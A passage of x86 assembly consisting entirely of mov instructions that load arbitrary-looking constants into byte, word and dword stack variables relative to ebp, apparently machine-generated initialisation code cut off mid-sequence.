mov word [ebp - 0x898], dx
mov eax, 0x74f
mov word [ebp - 0x89c], ax
mov dword [ebp - 0x2cec], 0x3d67
mov byte [ebp - 0xbe], 0x51
mov dword [ebp - 0x2cf0], 0x6e13
mov ecx, 0x92f
mov word [ebp - 0x8a0], cx
mov byte [ebp - 0xbf], 0xa1
mov dword [ebp - 0x2cf4], 0x1a7d
mov dword [ebp - 0x2cf8], 0x38a1
mov edx, 0x3d7
mov word [ebp - 0x8a4], dx
mov byte [ebp - 0xc0], 0xd
mov eax, 0x9a1
mov word [ebp - 0x8a8], ax
mov byte [ebp - 0xc1], 0x4f
mov dword [ebp - 0x2cfc], 0xfa9
mov dword [ebp - 0x2d00], 0x5c61
mov byte [ebp - 0xc2], 0xc9
mov ecx, 0x569
mov word [ebp - 0x8ac], cx
mov byte [ebp - 0xc3], 0x69
mov dword [ebp - 0x2d04], 0xbc7
mov byte [ebp - 0xc4], 0x1b
mov dword [ebp - 0x2d08], 0x7231
mov dword [ebp - 0x2d0c], 0x3abb
mov edx, 0x59
mov word [ebp - 0x8b0], dx
mov eax, 0x5b5
mov word [ebp - 0x8b4], ax
mov dword [ebp - 0x2d10], 0x3ab1
mov ecx, 0x14f
mov word [ebp - 0x8b8], cx
mov byte [ebp - 0xc5], 0x1d
mov byte [ebp - 0xc6], 0xd9
mov dword [ebp - 0x2d14], 0x20e7
mov byte [ebp - 0xc7], 0x2d
mov edx, 0x529
mov word [ebp - 0x8bc], dx
mov dword [ebp - 0x2d18], 0x707d
mov dword [ebp - 0x2d1c], 0x4d19
mov byte [ebp - 0xc8], 0x65
mov eax, 0x933
mov word [ebp - 0x8c0], ax
mov byte [ebp - 0xc9], 0x17
mov byte [ebp - 0xca], 0x29
mov ecx, 0x489
mov word [ebp - 0x8c4], cx
mov byte [ebp - 0xcb], 0x41
mov edx, 0x575
mov word [ebp - 0x8c8], dx
mov eax, 0x3af
mov word [ebp - 0x8cc], ax
mov ecx, 0x3b9
mov word [ebp - 0x8d0], cx
mov dword [ebp - 0x2d20], 0x4063
mov edx, 0x557
mov word [ebp - 0x8d4], dx
mov dword [ebp - 0x2d24], 0x4df5
mov eax, 0xddf
mov word [ebp - 0x8d8], ax
mov byte [ebp - 0xcc], 0x4d
mov ecx, 0x433
mov word [ebp - 0x8dc], cx
mov edx, 0x133
mov word [ebp - 0x8e0], dx
mov byte [ebp - 0xcd], 0xf
mov dword [ebp - 0x2d28], 0x1fb3
mov byte [ebp - 0xce], 0x5d
mov eax, 0xd0b
mov word [ebp - 0x8e4], ax
mov dword [ebp - 0x2d2c], 0x295f
mov ecx, 0x5cd
mov word [ebp - 0x8e8], cx
mov dword [ebp - 0x2d30], 0xab9
mov dword [ebp - 0x2d34], 0x2f9d
mov dword [ebp - 0x2d38], 0x459b
mov byte [ebp - 0xcf], 0x65
mov edx, 0x4e1
mov word [ebp - 0x8ec], dx
mov byte [ebp - 0xd0], 0x79
mov byte [ebp - 0xd1], 0x4b
mov byte [ebp - 0xd2], 0x35
mov eax, 0xc1d
mov word [ebp - 0x8f0], ax
mov byte [ebp - 0xd3], 0x59
mov ecx, 0x481
mov word [ebp - 0x8f4], cx
mov edx, 0x101
mov word [ebp - 0x8f8], dx
mov eax, 0x38b
mov word [ebp - 0x8fc], ax
mov dword [ebp - 0x2d3c], 0x30ab
mov byte [ebp - 0xd4], 0x11
mov ecx, 0x735
mov word [ebp - 0x900], cx
mov byte [ebp - 0xd5], 0x87
mov byte [ebp - 0xd6], 0x6d
mov byte [ebp - 0xd7], 0x4f
mov edx, 0x7e3
mov word [ebp - 0x904], dx
mov byte [ebp - 0xd8], 0xbd
mov byte [ebp - 0xd9], 0x5b
mov dword [ebp - 0x2d40], 0x4cb5
mov eax, 0x34b
mov word [ebp - 0x908], ax
mov ecx, 0x2a9
mov word [ebp - 0x90c], cx
mov dword [ebp - 0x2d44], 0x11a9
mov dword [ebp - 0x2d48], 0x1117
mov dword [ebp - 0x2d4c], 0x18a9
mov byte [ebp - 0xda], 3
mov dword [ebp - 0x2d50], 0x71fb
mov edx, 0x52b
mov word [ebp - 0x910], dx
mov eax, 0xeb7
mov word [ebp - 0x914], ax
mov byte [ebp - 0xdb], 0x57
mov dword [ebp - 0x2d54], 0x22f3
mov dword [ebp - 0x2d58], 0x26f9
mov byte [ebp - 0xdc], 0xb
mov dword [ebp - 0x2d5c], 0x529f
mov ecx, 0xbd
mov word [ebp - 0x918], cx
mov dword [ebp - 0x2d60], 0x7cc3
mov dword [ebp - 0x2d64], 0x174f
mov edx, 0x6a3
mov word [ebp - 0x91c], dx
mov dword [ebp - 0x2d68], 0x1b1
mov dword [ebp - 0x2d6c], 0x56dd
mov eax, 0xb7b
mov word [ebp - 0x920], ax
mov dword [ebp - 0x2d70], 0x3b3
mov ecx, 0x775
mov word [ebp - 0x924], cx
mov byte [ebp - 0xdd], 0xb5
mov edx, 0x5dd
mov word [ebp - 0x928], dx
mov byte [ebp - 0xde], 0xbf
mov dword [ebp - 0x2d74], 0x7103
mov eax, 0x8eb
mov word [ebp - 0x92c], ax
mov ecx, 0x63
mov word [ebp - 0x930], cx
mov byte [ebp - 0xdf], 0xbb
mov dword [ebp - 0x2d78], 0x1d85
mov edx, 0xe87
mov word [ebp - 0x934], dx
mov dword [ebp - 0x2d7c], 0x1765
mov dword [ebp - 0x2d80], 0x2eab
mov byte [ebp - 0xe0], 0x3f
mov byte [ebp - 0xe1], 0x2f
mov eax, 0x557
mov word [ebp - 0x938], ax
mov dword [ebp - 0x2d84], 0x7dd
mov dword [ebp - 0x2d88], 0x4733
mov ecx, 0xddf
mov word [ebp - 0x93c], cx
mov byte [ebp - 0xe2], 0x51
mov byte [ebp - 0xe3], 0x5d
mov edx, 0xdd1
mov word [ebp - 0x940], dx
mov eax, 0xca9
mov word [ebp - 0x944], ax
mov ecx, 0x70d
mov word [ebp - 0x948], cx
mov edx, 0x193
mov word [ebp - 0x94c], dx
mov byte [ebp - 0xe4], 0x7f
mov dword [ebp - 0x2d8c], 0x42e1
mov eax, 0xfd9
mov word [ebp - 0x950], ax
mov byte [ebp - 0xe5], 0x4d
mov dword [ebp - 0x2d90], 0x125f
mov byte [ebp - 0xe6], 0x9b
mov ecx, 0xfbb
mov word [ebp - 0x954], cx
mov edx, 0x2f3
mov word [ebp - 0x958], dx
mov byte [ebp - 0xe7], 0x73
mov byte [ebp - 0xe8], 0x2b
mov byte [ebp - 0xe9], 7
mov byte [ebp - 0xea], 0x15
mov dword [ebp - 0x2d94], 0x915
mov dword [ebp - 0x2d98], 0x2b8f
mov byte [ebp - 0xeb], 0x79
mov dword [ebp - 0x2d9c], 0x45
mov byte [ebp - 0xec], 0xa7
mov eax, 0x24f
mov word [ebp - 0x95c], ax
mov byte [ebp - 0xed], 0x55
mov byte [ebp - 0xee], 0x49
mov byte [ebp - 0xef], 0x25
mov byte [ebp - 0xf0], 0x75
mov ecx, 0x6b5
mov word [ebp - 0x960], cx
mov byte [ebp - 0xf1], 0x65
mov dword [ebp - 0x2da0], 0x2a7d
mov dword [ebp - 0x2da4], 0x635d
mov edx, 0x46f
mov word [ebp - 0x964], dx
mov byte [ebp - 0xf2], 0x8d
mov byte [ebp - 0xf3], 0x25
mov byte [ebp - 0xf4], 0x4b
mov eax, 0x34f
mov word [ebp - 0x968], ax
mov ecx, 0xe29
mov word [ebp - 0x96c], cx
mov edx, 0x4ed
mov word [ebp - 0x970], dx
mov dword [ebp - 0x2da8], 0x70b5
mov eax, 0x501
mov word [ebp - 0x974], ax
mov ecx, 0xdff
mov word [ebp - 0x978], cx
mov edx, 9
mov word [ebp - 0x97c], dx
mov eax, 0xd8b
mov word [ebp - 0x980], ax
mov ecx, 0x77d
mov word [ebp - 0x984], cx
mov edx, 0x623
mov word [ebp - 0x988], dx
mov eax, 0x527
mov word [ebp - 0x98c], ax
mov dword [ebp - 0x2dac], 0x2281
mov ecx, 0x1d7
mov word [ebp - 0x990], cx
mov dword [ebp - 0x2db0], 0x6f5b
mov dword [ebp - 0x2db4], 0x4a29
mov edx, 0x4cf
mov word [ebp - 0x994], dx
mov byte [ebp - 0xf5], 0xb3
mov eax, 0x52b
mov word [ebp - 0x998], ax
mov dword [ebp - 0x2db8], 0x2607
mov ecx, 0x1fb
mov word [ebp - 0x99c], cx
mov byte [ebp - 0xf6], 0x67
mov edx, 0x597
mov word [ebp - 0x9a0], dx
mov eax, 0x333
mov word [ebp - 0x9a4], ax
mov ecx, 0x313
mov word [ebp - 0x9a8], cx
mov edx, 0xe69
mov word [ebp - 0x9ac], dx
mov dword [ebp - 0x2dbc], 0x338b
mov eax, 0x1d3
mov word [ebp - 0x9b0], ax
mov dword [ebp - 0x2dc0], 0x4ad9
mov byte [ebp - 0xf7], 0x63
mov byte [ebp - 0xf8], 0x4f
mov byte [ebp - 0xf9], 0x47
mov byte [ebp - 0xfa], 0x61
mov dword [ebp - 0x2dc4], 0x3ed3
mov ecx, 0xbfd
mov word [ebp - 0x9b4], cx
mov dword [ebp - 0x2dc8], 0x6397
mov edx, 0x3bd
mov word [ebp - 0x9b8], dx
mov dword [ebp - 0x2dcc], 0x4d03
mov dword [ebp - 0x2dd0], 0x1013
mov byte [ebp - 0xfb], 0xd7
mov dword [ebp - 0x2dd4], 0x2c55
mov eax, 0x7a7
mov word [ebp - 0x9bc], ax
mov ecx, 0x1f9
mov word [ebp - 0x9c0], cx
mov edx, 0x65f
mov word [ebp - 0x9c4], dx
mov dword [ebp - 0x2dd8], 0x5361
mov byte [ebp - 0xfc], 0xd7
mov dword [ebp - 0x2ddc], 0x643
mov eax, 0x64f
mov word [ebp - 0x9c8], ax
mov ecx, 0x73f
mov word [ebp - 0x9cc], cx
mov byte [ebp - 0xfd], 0x97
mov dword [ebp - 0x2de0], 0x52d1
mov byte [ebp - 0xfe], 3
mov dword [ebp - 0x2de4], 0x45db
mov dword [ebp - 0x2de8], 0x118f
mov edx, 0x991
mov word [ebp - 0x9d0], dx
mov eax, 0x69b
mov word [ebp - 0x9d4], ax
mov byte [ebp - 0xff], 0x37
mov byte [ebp - 0x100], 0x31
mov byte [ebp - 0x101], 0x19
mov byte [ebp - 0x102], 0x15
mov ecx, 0x18f
mov word [ebp - 0x9d8], cx
mov edx, 0xb59
mov word [ebp - 0x9dc], dx
mov dword [ebp - 0x2dec], 0x40d1
mov byte [ebp - 0x103], 0x8f
mov dword [ebp - 0x2df0], 0x6d93
mov dword [ebp - 0x2df4], 0x68cf
mov byte [ebp - 0x104], 0x2f
mov dword [ebp - 0x2df8], 0xadf
mov eax, 0x67b
mov word [ebp - 0x9e0], ax
mov ecx, 0xd33
mov word [ebp - 0x9e4], cx
mov edx, 0x967
mov word [ebp - 0x9e8], dx
mov byte [ebp - 0x105], 0x15
mov dword [ebp - 0x2dfc], 0x7359
mov byte [ebp - 0x106], 0x57
mov byte [ebp - 0x107], 0x25
mov eax, 0xa15
mov word [ebp - 0x9ec], ax
mov ecx, 0x423
mov word [ebp - 0x9f0], cx
mov byte [ebp - 0x108], 0x77
mov edx, 0x5c9
mov word [ebp - 0x9f4], dx
mov eax, 0x5db
mov word [ebp - 0x9f8], ax
mov ecx, 0x7c1
mov word [ebp - 0x9fc], cx
mov edx, 0x5f1
mov word [ebp - 0xa00], dx
mov eax, 0x7fb
mov word [ebp - 0xa04], ax
mov dword [ebp - 0x2e00], 0xf7f
mov ecx, 0x87
mov word [ebp - 0xa08], cx
mov dword [ebp - 0x2e04], 0xf97
mov dword [ebp - 0x2e08], 0x41fb
mov dword [ebp - 0x2e0c], 0x2b6d
mov byte [ebp - 0x109], 0x3f
mov byte [ebp - 0x10a], 0x1f
mov dword [ebp - 0x2e10], 0x6ae1
mov edx, 0x465
mov word [ebp - 0xa0c], dx
mov eax, 0x96b
mov word [ebp - 0xa10], ax
mov ecx, 0x6dd
mov word [ebp - 0xa14], cx
mov dword [ebp - 0x2e14], 0x4989
mov dword [ebp - 0x2e18], 0xf2f
mov edx, 0xcb
mov word [ebp - 0xa18], dx
mov eax, 0x5cd
mov word [ebp - 0xa1c], ax
mov ecx, 0x2b
mov word [ebp - 0xa20], cx
mov edx, 0x691
mov word [ebp - 0xa24], dx
mov byte [ebp - 0x10b], 0x61
mov dword [ebp - 0x2e1c], 0x7569
mov byte [ebp - 0x10c], 0xd
mov byte [ebp - 0x10d], 0x8d
mov byte [ebp - 0x10e], 9
mov byte [ebp - 0x10f], 7
mov dword [ebp - 0x2e20], 0x7333
mov eax, 0x69b
mov word [ebp - 0xa28], ax
mov ecx, 0x733
mov word [ebp - 0xa2c], cx
mov dword [ebp - 0x2e24], 0x1811
mov edx, 0x2ad
mov word [ebp - 0xa30], dx
mov dword [ebp - 0x2e28], 0x5d0d
mov dword [ebp - 0x2e2c], 0x5bf7
mov dword [ebp - 0x2e30], 0x1a11
mov eax, 0xc77
mov word [ebp - 0xa34], ax
mov byte [ebp - 0x110], 0x4f
mov ecx, 0x75f
mov word [ebp - 0xa38], cx
mov edx, 0x605
mov word [ebp - 0xa3c], dx
mov eax, 0x721
mov word [ebp - 0xa40], ax
mov dword [ebp - 0x2e34], 0x3ad3
mov byte [ebp - 0x111], 0x73
mov dword [ebp - 0x2e38], 0x107b
mov ecx, 0x22f
mov word [ebp - 0xa44], cx
mov byte [ebp - 0x112], 0x9b
mov byte [ebp - 0x113], 0x13
mov byte [ebp - 0x114], 0x55
mov dword [ebp - 0x2e3c], 0x5301
mov edx, 0xdb9
mov word [ebp - 0xa48], dx
mov eax, 0x3af
mov word [ebp - 0xa4c], ax
mov byte [ebp - 0x115], 0x37
mov ecx, 0x569
mov word [ebp - 0xa50], cx
mov byte [ebp - 0x116], 7
mov edx, 0x197
mov word [ebp - 0xa54], dx
mov eax, 0xbb
mov word [ebp - 0xa58], ax
mov dword [ebp - 0x2e40], 0x2abb
mov dword [ebp - 0x2e44], 0x7e25
mov dword [ebp - 0x2e48], 0x1e93
mov dword [ebp - 0x2e4c], 0x229d
mov ecx, 0x415
mov word [ebp - 0xa5c], cx
mov edx, 0x199
mov word [ebp - 0xa60], dx
mov dword [ebp - 0x2e50], 0x1c83
mov byte [ebp - 0x117], 0x55
mov eax, 0x649
mov word [ebp - 0xa64], ax
mov byte [ebp - 0x118], 0x65
mov byte [ebp - 0x119], 0x79
mov dword [ebp - 0x2e54], 0x3a93
mov ecx, 0x3a1
mov word [ebp - 0xa68], cx
mov edx, 0x5df
mov word [ebp - 0xa6c], dx
mov eax, 0xb11
mov word [ebp - 0xa70], ax
mov byte [ebp - 0x11a], 0x79
mov dword [ebp - 0x2e58], 0x5755
mov ecx, 0x557
mov word [ebp - 0xa74], cx
mov edx, 0x319
mov word [ebp - 0xa78], dx
mov byte [ebp - 0x11b], 0x25
mov byte [ebp - 0x11c], 0x53
mov dword [ebp - 0x2e5c], 0x5c01
mov dword [ebp - 0x2e60], 0x26d7
mov dword [ebp - 0x2e64], 0x6897
mov eax, 0xa67
mov word [ebp - 0xa7c], ax
mov dword [ebp - 0x2e68], 0xbcd
mov dword [ebp - 0x2e6c], 0x313d
mov byte [ebp - 0x11d], 0x73
mov byte [ebp - 0x11e], 0x7f
mov ecx, 0x6ad
mov word [ebp - 0xa80], cx
mov dword [ebp - 0x2e70], 0x3a75
mov byte [ebp - 0x11f], 0x1d
mov edx, 0x42d
mov word [ebp - 0xa84], dx
mov eax, 0xf43
mov word [ebp - 0xa88], ax
mov ecx, 0x85
mov word [ebp - 0xa8c], cx
mov dword [ebp - 0x2e74], 0x291
mov byte [ebp - 0x120], 0x53
mov byte [ebp - 0x121], 0xfb
mov dword [ebp - 0x2e78], 0x1077
mov dword [ebp - 0x2e7c], 0x267
mov dword [ebp - 0x2e80], 0x79c5
mov dword [ebp - 0x2e84], 0x48d
mov byte [ebp - 0x122], 0xb1
mov byte [ebp - 0x123], 0xd3
mov dword [ebp - 0x2e88], 0x19e5
mov edx, 0x3f
mov word [ebp - 0xa90], dx
mov eax, 0x279
mov word [ebp - 0xa94], ax
mov ecx, 0x62d
mov word [ebp - 0xa98], cx
mov dword [ebp - 0x2e8c], 0x67c1
mov edx, 0x6fd
mov word [ebp - 0xa9c], dx
mov eax, 0xf7d
mov word [ebp - 0xaa0], ax
mov ecx, 0xd9
mov word [ebp - 0xaa4], cx
mov edx, 0xf25
mov word [ebp - 0xaa8], dx
mov dword [ebp - 0x2e90], 0x1ad7
mov dword [ebp - 0x2e94], 0x7327
mov dword [ebp - 0x2e98], 0x5b2b
mov dword [ebp - 0x2e9c], 0x2829
mov dword [ebp - 0x2ea0], 0x78c1
mov dword [ebp - 0x2ea4], 0x186d
mov dword [ebp - 0x2ea8], 0x561d
mov dword [ebp - 0x2eac], 0x5081
mov byte [ebp - 0x124], 0xd
mov eax, 0x7cd
mov word [ebp - 0xaac], ax
mov ecx, 0x91
mov word [ebp - 0xab0], cx
mov dword [ebp - 0x2eb0], 0x3483
mov byte [ebp - 0x125], 0x7f
mov byte [ebp - 0x126], 0xcb
mov dword [ebp - 0x2eb4], 0x4ddb
mov byte [ebp - 0x127], 9
mov edx, 0x5f5
mov word [ebp - 0xab4], dx
mov byte [ebp - 0x128], 0x7d
mov dword [ebp - 0x2eb8], 0x77e9
mov dword [ebp - 0x2ebc], 0x23f9
mov byte [ebp - 0x129], 7
mov eax, 0x429
mov word [ebp - 0xab8], ax
mov dword [ebp - 0x2ec0], 0x6631
mov ecx, 0x47d
mov word [ebp - 0xabc], cx
mov byte [ebp - 0x12a], 0xc7
mov dword [ebp - 0x2ec4], 0x627
mov byte [ebp - 0x12b], 0x6d
mov dword [ebp - 0x2ec8], 0x4ba9
mov dword [ebp - 0x2ecc], 0x7483
mov dword [ebp - 0x2ed0], 0x9af
mov edx, 0x3f1
mov word [ebp - 0xac0], dx
mov byte [ebp - 0x12c], 0x73
mov eax, 0x513
mov word [ebp - 0xac4], ax
mov dword [ebp - 0x2ed4], 0x3141
mov ecx, 0xd7
mov word [ebp - 0xac8], cx
mov edx, 0x51
mov word [ebp - 0xacc], dx
mov byte [ebp - 0x12d], 0x19
mov byte [ebp - 0x12e], 0x33
mov byte [ebp - 0x12f], 0x5d
mov byte [ebp - 0x130], 0x9d
mov byte [ebp - 0x131], 0x69
mov dword [ebp - 0x2ed8], 0x6c8d
mov eax, 0x715
mov word [ebp - 0xad0], ax
mov ecx, 0x5b7
mov word [ebp - 0xad4], cx
mov edx, 0x2ad
mov word [ebp - 0xad8], dx
mov eax, 0x16b
mov word [ebp - 0xadc], ax
mov byte [ebp - 0x132], 0x33
mov dword [ebp - 0x2edc], 0xf33
mov dword [ebp - 0x2ee0], 0x16b
mov dword [ebp - 0x2ee4], 0x50f7
mov ecx, 0xaa3
mov word [ebp - 0xae0], cx
mov edx, 0x779
mov word [ebp - 0xae4], dx
mov dword [ebp - 0x2ee8], 0x6025
mov eax, 0xc93
mov word [ebp - 0xae8], ax
mov ecx, 0x5eb
mov word [ebp - 0xaec], cx
mov byte [ebp - 0x133], 0x4b
mov edx, 0xbf7
mov word [ebp - 0xaf0], dx
mov eax, 0x763
mov word [ebp - 0xaf4], ax
mov byte [ebp - 0x134], 0x31
mov ecx, 0x4d5
mov word [ebp - 0xaf8], cx
mov dword [ebp - 0x2eec], 0x792f
mov edx, 0x5d9
mov word [ebp - 0xafc], dx
mov eax, 0x78b
mov word [ebp - 0xb00], ax
mov dword [ebp - 0x2ef0], 0x4479
mov byte [ebp - 0x135], 0x73
mov ecx, 0x78f
mov word [ebp - 0xb04], cx
mov byte [ebp - 0x136], 0x35
mov byte [ebp - 0x137], 0xd
mov byte [ebp - 0x138], 0x11
mov byte [ebp - 0x139], 0x61
mov dword [ebp - 0x2ef4], 0x4d4d
mov dword [ebp - 0x2ef8], 0x2457
mov byte [ebp - 0x13a], 0xf
mov byte [ebp - 0x13b], 0x3b
mov edx, 0x85b
mov word [ebp - 0xb08], dx
mov eax, 0x367
mov word [ebp - 0xb0c], ax
mov byte [ebp - 0x13c], 0x51
mov byte [ebp - 0x13d], 0x21
mov byte [ebp - 0x13e], 0x29
mov dword [ebp - 0x2efc], 0x5aa7
mov byte [ebp - 0x13f], 0x6b
mov dword [ebp - 0x2f00], 0x55a9
mov dword [ebp - 0x2f04], 0x3e45
mov ecx, 0x5bb
mov word [ebp - 0xb10], cx
mov dword [ebp - 0x2f08], 0xe33
mov edx, 0xf73
mov word [ebp - 0xb14], dx
mov byte [ebp - 0x140], 0xcb
mov dword [ebp - 0x2f0c], 0x1d77
mov eax, 0xff
mov word [ebp - 0xb18], ax
mov ecx, 0xe91
mov word [ebp - 0xb1c], cx
mov edx, 0x415
mov word [ebp - 0xb20], dx
mov byte [ebp - 0x141], 0x71
mov byte [ebp - 0x142], 0xef
mov byte [ebp - 0x143], 0x7d
mov byte [ebp - 0x144], 0x35
mov byte [ebp - 0x145], 0xcf
mov eax, 0xa59
mov word [ebp - 0xb24], ax
mov byte [ebp - 0x146], 7
mov ecx, 0x92b
mov word [ebp - 0xb28], cx
mov byte [ebp - 0x147], 0x2b
mov dword [ebp - 0x2f10], 0x13d
mov byte [ebp - 0x148], 0x61
mov dword [ebp - 0x2f14], 0x234d
mov dword [ebp - 0x2f18], 0xdd
mov edx, 0x779
mov word [ebp - 0xb2c], dx
mov eax, 0x7b5
mov word [ebp - 0xb30], ax
mov ecx, 0x531
mov word [ebp - 0xb34], cx
mov edx, 0xb17
mov word [ebp - 0xb38], dx
mov byte [ebp - 0x149], 0x1f
mov byte [ebp - 0x14a], 0x19
mov dword [ebp - 0x2f1c], 0x75dd
mov byte [ebp - 0x14b], 0xe9
mov eax, 0x549
mov word [ebp - 0xb3c], ax
mov dword [ebp - 0x2f20], 0x2b7
mov byte [ebp - 0x14c], 0x6f
mov dword [ebp - 0x2f24], 0x7dd7
mov byte [ebp - 0x14d], 0x19
mov byte [ebp - 0x14e], 0x27
mov ecx, 0xb55
mov word [ebp - 0xb40], cx
mov edx, 0x5d7
mov word [ebp - 0xb44], dx
mov dword [ebp - 0x2f28], 0x475f
mov eax, 0x12d
mov word [ebp - 0xb48], ax
mov ecx, 0x2f5
mov word [ebp - 0xb4c], cx
mov edx, 0x745
mov word [ebp - 0xb50], dx
mov dword [ebp - 0x2f2c], 0x6c03
mov byte [ebp - 0x14f], 0x11
mov eax, 0x7a7
mov word [ebp - 0xb54], ax
mov dword [ebp - 0x2f30], 0x78db
mov dword [ebp - 0x2f34], 0x6c81
mov dword [ebp - 0x2f38], 0x6b61
mov byte [ebp - 0x150], 0xcd
mov ecx, 0x1e5
mov word [ebp - 0xb58], cx
mov byte [ebp - 0x151], 0x75
mov dword [ebp - 0x2f3c], 0x2be1
mov byte [ebp - 0x152], 0x49
mov byte [ebp - 0x153], 0x6f
mov byte [ebp - 0x154], 0x85
mov edx, 0x8f
mov word [ebp - 0xb5c], dx
mov eax, 0x13f
mov word [ebp - 0xb60], ax
mov ecx, 0x73f
mov word [ebp - 0xb64], cx
mov dword [ebp - 0x2f40], 0x4dc7
mov dword [ebp - 0x2f44], 0x1969
mov edx, 0x5a5
mov word [ebp - 0xb68], dx
mov eax, 0x1e1
mov word [ebp - 0xb6c], ax
mov byte [ebp - 0x155], 0x61
mov byte [ebp - 0x156], 0xbb
mov dword [ebp - 0x2f48], 0x4ac9
mov ecx, 0xc8b
mov word [ebp - 0xb70], cx
mov dword [ebp - 0x2f4c], 0x39fb
mov byte [ebp - 0x157], 3
mov dword [ebp - 0x2f50], 0x3607
mov edx, 0xc49
mov word [ebp - 0xb74], dx
mov eax, 0x5d9
mov word [ebp - 0xb78], ax
mov ecx, 0x45b
mov word [ebp - 0xb7c], cx
mov edx, 0xef
mov word [ebp - 0xb80], dx
mov dword [ebp - 0x2f54], 0x454b
mov byte [ebp - 0x158], 0x71
mov byte [ebp - 0x159], 0x37
mov eax, 0xefb
mov word [ebp - 0xb84], ax
mov ecx, 0x1eb
mov word [ebp - 0xb88], cx
mov byte [ebp - 0x15a], 0x11
mov byte [ebp - 0x15b], 0x43
mov dword [ebp - 0x2f58], 0x5aab
mov byte [ebp - 0x15c], 0x1b
mov dword [ebp - 0x2f5c], 0x4351
mov dword [ebp - 0x2f60], 0x41d5
mov edx, 0x29b
mov word [ebp - 0xb8c], dx
mov dword [ebp - 0x2f64], 0x1155
mov dword [ebp - 0x2f68], 0x7f97
mov eax, 0x46b
mov word [ebp - 0xb90], ax
mov dword [ebp - 0x2f6c], 0x426f
mov byte [ebp - 0x15d], 0x67
mov ecx, 0x943
mov word [ebp - 0xb94], cx
mov byte [ebp - 0x15e], 0x6f
mov edx, 0xb5
mov word [ebp - 0xb98], dx
mov byte [ebp - 0x15f], 0x9d
mov dword [ebp - 0x2f70], 0x79ed
mov dword [ebp - 0x2f74], 0x6c8b
mov dword [ebp - 0x2f78], 0x746f
mov eax, 0x569
mov word [ebp - 0xb9c], ax
mov dword [ebp - 0x2f7c], 0x7bad
mov byte [ebp - 0x160], 0x53
mov dword [ebp - 0x2f80], 0x2e3b
mov ecx, 0x3af
mov word [ebp - 0xba0], cx
mov byte [ebp - 0x161], 0x13
mov edx, 0x13
mov word [ebp - 0xba4], dx
mov eax, 0x5b
mov word [ebp - 0xba8], ax
mov byte [ebp - 0x162], 0x75
mov ecx, 0x2e3
mov word [ebp - 0xbac], cx
mov byte [ebp - 0x163], 0x91
mov byte [ebp - 0x164], 0x67
mov edx, 0x5f
mov word [ebp - 0xbb0], dx
mov eax, 0x489
mov word [ebp - 0xbb4], ax
mov dword [ebp - 0x2f84], 0x2573
mov dword [ebp - 0x2f88], 0x7fad
mov dword [ebp - 0x2f8c], 0x64b5
mov dword [ebp - 0x2f90], 0x655f
mov ecx, 0x1d3
mov word [ebp - 0xbb8], cx
mov edx, 0x1c3
mov word [ebp - 0xbbc], dx
mov dword [ebp - 0x2f94], 0x693f
mov eax, 0x73d
mov word [ebp - 0xbc0], ax
mov ecx, 0x2c7
mov word [ebp - 0xbc4], cx
mov edx, 0xb8b
mov word [ebp - 0xbc8], dx
mov byte [ebp - 0x165], 0x39
mov dword [ebp - 0x2f98], 0x342d
mov eax, 0x12d
mov word [ebp - 0xbcc], ax
mov ecx, 0x7e7
mov word [ebp - 0xbd0], cx
mov dword [ebp - 0x2f9c], 0x18f5
mov edx, 0x1a1
mov word [ebp - 0xbd4], dx
mov dword [ebp - 0x2fa0], 0x1925
mov byte [ebp - 0x166], 9
mov eax, 0x2a5
mov word [ebp - 0xbd8], ax
mov byte [ebp - 0x167], 0xf
mov dword [ebp - 0x2fa4], 0x3d4b
mov ecx, 0xc1b
mov word [ebp - 0xbdc], cx
mov byte [ebp - 0x168], 0xe7
mov dword [ebp - 0x2fa8], 0x4f53
mov byte [ebp - 0x169], 0x57
mov byte [ebp - 0x16a], 0xd9
mov byte [ebp - 0x16b], 0x7b
mov edx, 0x2e3
mov word [ebp - 0xbe0], dx
mov dword [ebp - 0x2fac], 0x2ef3
mov dword [ebp - 0x2fb0], 0x3411
mov eax, 0xc39
mov word [ebp - 0xbe4], ax
mov dword [ebp - 0x2fb4], 0x5ecd
mov dword [ebp - 0x2fb8], 0x31
mov dword [ebp - 0x2fbc], 0x54d
mov ecx, 0x5dd
mov word [ebp - 0xbe8], cx
mov dword [ebp - 0x2fc0], 0x293b
mov edx, 0x1cb
mov word [ebp - 0xbec], dx
mov eax, 0xeff
mov word [ebp - 0xbf0], ax
mov dword [ebp - 0x2fc4], 0x7c89
mov dword [ebp - 0x2fc8], 0x4c25
mov ecx, 0x4cb
mov word [ebp - 0xbf4], cx
mov dword [ebp - 0x2fcc], 0x40a1
mov dword [ebp - 0x2fd0], 0x66f9
mov dword [ebp - 0x2fd4], 0x13cb
mov dword [ebp - 0x2fd8], 0x50b3
mov dword [ebp - 0x2fdc], 0x58db
mov dword [ebp - 0x2fe0], 0x149f
mov byte [ebp - 0x16c], 0x47
mov edx, 0xd37
mov word [ebp - 0xbf8], dx
mov dword [ebp - 0x2fe4], 0x65f3
mov eax, 0x7b5
mov word [ebp - 0xbfc], ax
mov ecx, 0xe1
mov word [ebp - 0xc00], cx
mov edx, 0xc97
mov word [ebp - 0xc04], dx
mov eax, 0x5f5
mov word [ebp - 0xc08], ax
mov dword [ebp - 0x2fe8], 0x5fff
mov dword [ebp - 0x2fec], 0x7be7
mov dword [ebp - 0x2ff0], 0x4d1b
mov ecx, 0x64f
mov word [ebp - 0xc0c], cx
mov byte [ebp - 0x16d], 0x1d
mov dword [ebp - 0x2ff4], 0x3589
mov dword [ebp - 0x2ff8], 0x7ec9
mov edx, 0x73
mov word [ebp - 0xc10], dx
mov eax, 0x6d9
mov word [ebp - 0xc14], ax
mov ecx, 0x35
mov word [ebp - 0xc18], cx
mov byte [ebp - 0x16e], 0x19
mov dword [ebp - 0x2ffc], 0x52af
mov dword [ebp - 0x3000], 0x62ff
mov byte [ebp - 0x16f], 0x15
mov edx, 0x7df
mov word [ebp - 0xc1c], dx
mov byte [ebp - 0x170], 0x99
mov dword [ebp - 0x3004], 0x2e93
mov byte [ebp - 0x171], 3
mov eax, 0x581
mov word [ebp - 0xc20], ax
mov ecx, 0x41d
mov word [ebp - 0xc24], cx
mov byte [ebp - 0x172], 0x27
mov byte [ebp - 0x173], 0x75
mov dword [ebp - 0x3008], 0x55ad
mov byte [ebp - 0x174], 0x29
mov byte [ebp - 0x175], 0x49
mov dword [ebp - 0x300c], 0x7393
mov dword [ebp - 0x3010], 0x1bf5
mov dword [ebp - 0x3014], 0x6947
mov byte [ebp - 0x176], 0xf3
mov edx, 0x39b
mov word [ebp - 0xc28], dx
mov byte [ebp - 0x177], 9
mov eax, 0xf1d
mov word [ebp - 0xc2c], ax
mov dword [ebp - 0x3018], 0x4bbd
mov ecx, 0x5a9
